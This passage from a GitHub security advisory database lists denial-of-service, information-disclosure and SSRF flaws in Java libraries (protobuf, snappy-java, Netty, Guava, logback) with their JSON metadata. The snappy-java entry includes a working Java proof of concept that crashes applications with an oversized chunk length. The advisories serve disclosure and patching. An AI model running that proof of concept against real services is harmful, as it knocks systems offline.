"details": "A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above.",
"id": "GHSA-4gg5-vx3j-xwc7",
"modified": "2025-09-02T19:38:11Z",
"published": "2022-12-12T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3510"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/db7c17803320525722f45c1d26fc08bc41d1bf48"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf/tree/main/java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Protobuf Java vulnerable to Uncontrolled Resource Consumption"
}
GHSA-55G7-9CWV-5QFV
Vulnerability from github – Published: 2023-09-25 18:30 – Updated: 2023-09-25 21:43
VLAI
Summary
snappy-java's missing upper bound check on chunk length can lead to Denial of Service (DoS) impact
Details
Summary
snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur.
Scope
All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4
Details
While performing mitigation efforts related to CVE-2023-34455 in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in this commit. The check on line 421 only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually attempting to allocate the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs.
PoC
Compile and run the following code:
package org.example;
import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
try {
in.read(out);
}
catch (Exception ignored) {
}
}
}
Impact
Denial of Service of applications dependent on snappy-java especially if ExitOnOutOfMemoryError or CrashOnOutOfMemoryError is configured on the JVM.
Credits
Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team.
We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.10.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.xerial.snappy:snappy-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-43642"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-25T18:30:18Z",
"nvd_published_at": "2023-09-25T20:15:11Z",
"severity": "HIGH"
},
"details": "### Summary\n\nsnappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. \n\n### Scope\n\nAll versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4\n\n### Details\nWhile performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the \u201cchunkSize\u201d variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs.\n\n### PoC\nCompile and run the following code:\n```\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n byte[] data = {-126, \u0027S\u0027, \u0027N\u0027, \u0027A\u0027, \u0027P\u0027, \u0027P\u0027, \u0027Y\u0027, 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n byte[] out = new byte[50];\n try {\n in.read(out);\n }\n catch (Exception ignored) {\n }\n }\n}\n```\n\n### Impact\nDenial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM.\n\n### Credits\nJan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent\u0027s Application Security team. \n\nWe kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability.",
"id": "GHSA-55g7-9cwv-5qfv",
"modified": "2023-09-25T21:43:08Z",
"published": "2023-09-25T18:30:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/security/advisories/GHSA-55g7-9cwv-5qfv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43642"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/commit/9f8c3cf74223ed0a8a834134be9c917b9f10ceb5"
},
{
"type": "PACKAGE",
"url": "https://github.com/xerial/snappy-java"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/releases/tag/v1.1.10.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "snappy-java\u0027s missing upper bound check on chunk length can lead to Denial of Service (DoS) impact"
}
GHSA-5JPM-X58V-624V
Vulnerability from github – Published: 2024-03-25 19:40 – Updated: 2024-06-22 00:30
VLAI
Summary
Netty's HttpPostRequestDecoder can OOM
Details
Summary
The HttpPostRequestDecoder can be tricked to accumulate data. I have spotted currently two attack vectors
Details
- While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the
bodyListHttpDatalist. - The decoder cumulates bytes in the
undecodedChunkbuffer until it can decode a field, this field can cumulate data without limits
PoC
Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder
Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3
Impact
Any Netty based HTTP server that uses the HttpPostRequestDecoder to decode a form.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.108.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-29025"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-25T19:40:50Z",
"nvd_published_at": "2024-03-25T20:15:08Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors \n\n### Details\n1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list.\n2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits\n\n### PoC\n\nHere is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder\n\n\nHere is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3\n\n### Impact\nAny Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form.",
"id": "GHSA-5jpm-x58v-624v",
"modified": "2024-06-22T00:30:55Z",
"published": "2024-03-25T19:40:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-5jpm-x58v-624v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29025"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/0d0c6ed782d13d423586ad0c71737b2c7d02058c"
},
{
"type": "WEB",
"url": "https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/vietj/netty/tree/post-request-decoder"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00015.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty\u0027s HttpPostRequestDecoder can OOM"
}
GHSA-5MG8-W23W-74H3
Vulnerability from github – Published: 2021-03-25 17:04 – Updated: 2026-02-23 22:45
VLAI
Summary
Information Disclosure in Guava
Details
A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava com.google.common.io.Files.createTempDir(). The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.google.guava:guava"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "32.0.0-android"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8908"
],
"database_specific": {
"cwe_ids": [
"CWE-173",
"CWE-200",
"CWE-378",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-25T17:01:09Z",
"nvd_published_at": "2020-12-10T23:15:00Z",
"severity": "LOW"
},
"details": "A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.",
"id": "GHSA-5mg8-w23w-74h3",
"modified": "2026-02-23T22:45:53Z",
"published": "2021-03-25T17:04:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8908"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/4011"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/issues/4011#issuecomment-1578991974"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
},
{
"type": "WEB",
"url": "https://github.com/google/guava/commit/fec0dbc4634006a6162cfd4d0d09c962073ddf40"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604@%3Ctorque-dev.db.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604%40%3Ctorque-dev.db.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd2704306ec729ccac726e50339b8a8f079515cc29ccb77713b16e7c5@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd2704306ec729ccac726e50339b8a8f079515cc29ccb77713b16e7c5%40%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd01f5ff0164c468ec7abc96ff7646cea3cce6378da2e4aa29c6bcb95@%3Cgithub.arrow.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd01f5ff0164c468ec7abc96ff7646cea3cce6378da2e4aa29c6bcb95%40%3Cgithub.arrow.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rcafc3a637d82bdc9a24036b2ddcad1e519dd0e6f848fcc3d606fd78f@%3Cdev.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rcafc3a637d82bdc9a24036b2ddcad1e519dd0e6f848fcc3d606fd78f%40%3Cdev.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc607bc52f3507b8b9c28c6a747c3122f51ac24afe80af2a670785b97@%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc607bc52f3507b8b9c28c6a747c3122f51ac24afe80af2a670785b97%40%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc2dbc4633a6eea1fcbce6831876cfa17b73759a98c65326d1896cb1a@%3Ctorque-dev.db.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rc2dbc4633a6eea1fcbce6831876cfa17b73759a98c65326d1896cb1a%40%3Ctorque-dev.db.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rbc7642b9800249553f13457e46b813bea1aec99d2bc9106510e00ff3@%3Ctorque-dev.db.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rbc7642b9800249553f13457e46b813bea1aec99d2bc9106510e00ff3%40%3Ctorque-dev.db.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rb8c0f1b7589864396690fe42a91a71dea9412e86eec66dc85bbacaaf@%3Ccommits.cxf.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rb8c0f1b7589864396690fe42a91a71dea9412e86eec66dc85bbacaaf%40%3Ccommits.cxf.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rb2364f4cf4d274eab5a7ecfaf64bf575cedf8b0173551997c749d322@%3Cgitbox.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rb2364f4cf4d274eab5a7ecfaf64bf575cedf8b0173551997c749d322%40%3Cgitbox.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ra7ab308481ee729f998691e8e3e02e93b1dedfc98f6b1cd3d86923b3@%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com//security-alerts/cpujul2021.html"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-COMGOOGLEGUAVA-1015415"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220210-0003"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rfc27e2727a20a574f39273e0432aa97486a332f9b3068f6ac1346594@%3Cdev.myfaces.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rfc27e2727a20a574f39273e0432aa97486a332f9b3068f6ac1346594%40%3Cdev.myfaces.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf9f0fa84b8ae1a285f0210bafec6de2a9eba083007d04640b82aa625@%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf9f0fa84b8ae1a285f0210bafec6de2a9eba083007d04640b82aa625%40%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf00b688ffa620c990597f829ff85fdbba8bf73ee7bfb34783e1f0d4e@%3Cyarn-dev.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf00b688ffa620c990597f829ff85fdbba8bf73ee7bfb34783e1f0d4e%40%3Cyarn-dev.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/reebbd63c25bc1a946caa419cec2be78079f8449d1af48e52d47c9e85@%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/reebbd63c25bc1a946caa419cec2be78079f8449d1af48e52d47c9e85%40%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/re120f6b3d2f8222121080342c5801fdafca2f5188ceeb3b49c8a1d27@%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/re120f6b3d2f8222121080342c5801fdafca2f5188ceeb3b49c8a1d27%40%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd7e12d56d49d73e2b8549694974b07561b79b05455f7f781954231bf@%3Cdev.pig.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rd7e12d56d49d73e2b8549694974b07561b79b05455f7f781954231bf%40%3Cdev.pig.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ra7ab308481ee729f998691e8e3e02e93b1dedfc98f6b1cd3d86923b3%40%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4776f62dfae4a0006658542f43034a7fc199350e35a66d4e18164ee6%40%3Ccommits.cxf.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3dd8881de891598d622227e9840dd7c2ef1d08abbb49e9690c7ae1bc@%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3dd8881de891598d622227e9840dd7c2ef1d08abbb49e9690c7ae1bc%40%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3c3b33ee5bef0c67391d27a97cbfd89d44f328cf072b601b58d4e748@%3Ccommits.pulsar.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r3c3b33ee5bef0c67391d27a97cbfd89d44f328cf072b601b58d4e748%40%3Ccommits.pulsar.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r2fe45d96eea8434b91592ca08109118f6308d60f6d0e21d52438cfb4@%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r2fe45d96eea8434b91592ca08109118f6308d60f6d0e21d52438cfb4%40%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r294be9d31c0312d2c0837087204b5d4bf49d0552890e6eec716fa6a6@%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r294be9d31c0312d2c0837087204b5d4bf49d0552890e6eec716fa6a6%40%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r215b3d50f56faeb2f9383505f3e62faa9f549bb23e8a9848b78a968e@%3Ccommits.ws.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r215b3d50f56faeb2f9383505f3e62faa9f549bb23e8a9848b78a968e%40%3Ccommits.ws.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r161b87f8037bbaff400194a63cd2016c9a69f5949f06dcc79beeab54@%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r161b87f8037bbaff400194a63cd2016c9a69f5949f06dcc79beeab54%40%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r07ed3e4417ad043a27bee7bb33322e9bfc7d7e6d1719b8e3dfd95c14@%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r07ed3e4417ad043a27bee7bb33322e9bfc7d7e6d1719b8e3dfd95c14%40%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r037fed1d0ebde50c9caf8d99815db3093c344c3f651c5a49a09824ce@%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r007add131977f4f576c232b25e024249a3d16f66aad14a4b52819d21@%3Ccommon-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r007add131977f4f576c232b25e024249a3d16f66aad14a4b52819d21%40%3Ccommon-issues.hadoop.apache.org%3E"
},
{
"type": "PACKAGE",
"url": "https://github.com/google/guava"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r841c5e14e1b55281523ebcde661ece00b38a0569e00ef5e12bd5f6ba@%3Cissues.maven.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r841c5e14e1b55281523ebcde661ece00b38a0569e00ef5e12bd5f6ba%40%3Cissues.maven.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r7b0e81d8367264d6cad98766a469d64d11248eb654417809bfdacf09@%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r7b0e81d8367264d6cad98766a469d64d11248eb654417809bfdacf09%40%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r79e47ed555bdb1180e528420a7a2bb898541367a29a3bc6bbf0baf2c@%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r79e47ed555bdb1180e528420a7a2bb898541367a29a3bc6bbf0baf2c%40%3Cissues.hive.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r68d86f4b06c808204f62bcb254fcb5b0432528ee8d37a07ef4bc8222@%3Ccommits.ws.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r68d86f4b06c808204f62bcb254fcb5b0432528ee8d37a07ef4bc8222%40%3Ccommits.ws.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r6874dfe26eefc41b7c9a5e4a0487846fc4accf8c78ff948b24a1104a@%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r6874dfe26eefc41b7c9a5e4a0487846fc4accf8c78ff948b24a1104a%40%3Cdev.drill.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r5d61b98ceb7bba939a651de5900dbd67be3817db6bfcc41c6e04e199@%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r5d61b98ceb7bba939a651de5900dbd67be3817db6bfcc41c6e04e199%40%3Cyarn-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r5b3d93dfdfb7708e796e8762ab40edbde8ff8add48aba53e5ea26f44@%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r5b3d93dfdfb7708e796e8762ab40edbde8ff8add48aba53e5ea26f44%40%3Cissues.geode.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58a8775205ab1839dba43054b09a9ab3b25b423a4170b2413c4067ac@%3Ccommon-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58a8775205ab1839dba43054b09a9ab3b25b423a4170b2413c4067ac%40%3Ccommon-issues.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r49549a8322f62cd3acfa4490d25bfba0be04f3f9ff4d14fe36199d27@%3Cyarn-dev.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r49549a8322f62cd3acfa4490d25bfba0be04f3f9ff4d14fe36199d27%40%3Cyarn-dev.hadoop.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r4776f62dfae4a0006658542f43034a7fc199350e35a66d4e18164ee6@%3Ccommits.cxf.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Information Disclosure in Guava"
}
GHSA-6MJQ-H674-J845
Vulnerability from github – Published: 2023-06-20 16:33 – Updated: 2024-06-24 21:24
VLAI
Summary
netty-handler SniHandler 16MB allocation
Details
Summary
The SniHandler can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the SniHandler to allocate 16MB of heap.
Details
The SniHandler class is a handler that waits for the TLS handshake to configure a SslHandler according to the indicated server name by the ClientHello record. For this matter it allocates a ByteBuf using the value defined in the ClientHello record.
Normally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the SslClientHelloHandler
1/ allocate a 16MB ByteBuf
2/ not fail decode method in buffer
3/ get out of the loop without an exception
The combination of this without the use of a timeout makes easy to connect to a TCP server and allocate 16MB of heap memory per connection.
Impact
If the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which lead the server to buffer up to 16MB of data per connection. This could lead to a OutOfMemoryError and so result in a DDOS.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.94.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34462"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-20T16:33:22Z",
"nvd_published_at": "2023-06-22T23:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `SniHandler` can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the `SniHandler` to allocate 16MB of heap.\n\n### Details\nThe `SniHandler` class is a handler that waits for the TLS handshake to configure a `SslHandler` according to the indicated server name by the `ClientHello` record. For this matter it allocates a `ByteBuf` using the value defined in the `ClientHello` record. \n\nNormally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the `SslClientHelloHandler`\n\n1/ allocate a 16MB `ByteBuf`\n2/ not fail `decode` method `in` buffer\n3/ get out of the loop without an exception\n\nThe combination of this without the use of a timeout makes easy to connect to a TCP server and allocate 16MB of heap memory per connection.\n\n### Impact\nIf the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which lead the server to buffer up to 16MB of data per connection. This could lead to a OutOfMemoryError and so result in a DDOS.",
"id": "GHSA-6mjq-h674-j845",
"modified": "2024-06-24T21:24:21Z",
"published": "2023-06-20T16:33:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6mjq-h674-j845"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34462"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/535da17e45201ae4278c0479e6162bb4127d4c32"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230803-0001"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0007"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5558"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "netty-handler SniHandler 16MB allocation"
}
GHSA-6V67-2WR5-GVF4
Vulnerability from github – Published: 2024-12-19 18:31 – Updated: 2025-01-03 19:06
VLAI
Summary
QOS.CH logback-core Server-Side Request Forgery vulnerability
Details
Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML.
The attacks involves the modification of DOCTYPE declaration in XML configuration files.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.5.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
